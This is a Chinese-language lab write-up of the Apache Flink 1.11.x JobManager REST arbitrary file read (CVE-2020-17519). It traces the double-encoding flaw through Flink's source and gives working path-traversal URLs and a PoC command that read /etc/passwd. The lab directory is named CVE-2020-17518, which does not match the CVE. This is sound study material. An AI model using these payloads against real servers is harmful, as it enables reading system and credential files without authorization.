漏洞介绍
Apache Flink 是一个开源的分布式流处理和批处理大数据计算引擎。
Apache Flink 1.11.0 版本中引入的一个更改(同时也存在于 1.11.1 和 1.11.2 版本中)允许攻击者通过 JobManager 进程的 REST 接口读取 JobManager 本地文件系统上的任意文件。
漏洞范围
Apache Flink 1.11.0、1.11.1、1.11.2
漏洞靶场
使用vulhub的靶场:
使用环境为flink 1.11.2
vulhub-master/flink/CVE-2020-17518/
启动靶场环境:
1 | docker-compose up -d |
环境启动后,访问 http://your-ip:8081 即可查看到 Apache Flink 的管理页面。
漏洞原理
查看flink的commit,细节描述的很清晰了,指出通过二次编码后的 ‘..%252f’ 来替换 ‘../‘ 可以遍历logs文件夹的目录结构,比如:”/jobmanager/logs/..%252f/README.txt” 将返回README.txt的内容

文档找一下**/jobmanager/logs** 接口说明

发送请求
1 | http://192.168.159.132:8081/jobmanager/logs/..%2f..%2f..%2f..%2fetc%2fpasswd |
系统接收请求,对request进行解析,初始化HandlerRequest对象

flink-1.11.2\flink-runtime\src\main\java\org\apache\flink\runtime\rest\handler\AbstractHandler.java#L163-L168
routedRequest.getRouteResult()获取result,decodedPath为一次解码后,pathParams存放二次解码后结果

flink-1.11.2\flink-runtime\src\main\java\org\apache\flink\runtime\rest\handler\router\RoutedRequest.java#L48

flink-1.11.2\flink-runtime\src\main\java\org\apache\flink\runtime\rest\handler\router\RouteResult.java#L77-L79
将HandlerRequest传递给org.apache.flink.runtime.rest.handler.cluster.JobManagerCustomLogHandler#getFile,获取pathParams中存放的filename,拼接logDir返回路径。

flink-1.11.2\flink-runtime\src\main\java\org\apache\flink\runtime\rest\handler\cluster\JobManagerCustomLogHandler.java#L53-L59
读取文件内容作为响应。

flink-1.11.2\flink-runtime\src\main\java\org\apache\flink\runtime\rest\handler\cluster\AbstractJobManagerFileHandler.java#L59-L79
routedRequest.getRouteResult()获取的result是如何初始化的?包括其中的解码流程。

flink-1.11.2\flink-runtime\src\main\java\org\apache\flink\runtime\rest\handler\router\RoutedRequest.java#L48
回溯到org.apache.flink.runtime.rest.handler.router.RouterHandler#channelRead0(),这里routeResult为后面routedRequest中this.result原型,看routeResult如何初始化

flink-1.11.2\flink-runtime\src\main\java\org\apache\flink\runtime\rest\handler\router\RouterHandler.java#L73-L90
url一次解码的地方,赋值给this.path返回

C:\Users\LENOVO.m2\repository\org\apache\flink\flink-shaded-netty\4.1.39.Final-11.0\flink-shaded-netty-4.1.39.Final-11.0.jar!\org\apache\flink\shaded\netty4\io\netty\handler\codec\http\QueryStringDecoder.class#L85-L91(需用Maven下载包)
将method、path、queryParameters传送给router.route()方法来初始化一个routeResult对象

flink-1.11.2\flink-runtime\src\main\java\org\apache\flink\runtime\rest\handler\router\Router.java#L228, L232
其中decodePathTokens(path)将path进行了二次解码,与此同时会判断路径中的“/”并截断,我们传入“/”的编码形式免于拦截,随后的for循环中再次进行解码,成功返回一个正常路径。

flink-1.11.2\flink-runtime\src\main\java\org\apache\flink\runtime\rest\handler\router\Router.java#L251-L267
漏洞复现
通过以下 URL 可以读取服务器上的 /etc/passwd 文件内容:
1 | http://your-ip:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd |

poc
QmF0c3UK/CVE-2020-17519 (github.com)
1 | python CVE-2020-17519.py -u http://192.168.159.132:8081 -fp /etc/passwd |

参考
https://github.com/vulhub/vulhub/blob/master/flink/CVE-2020-17519/README.zh-cn.md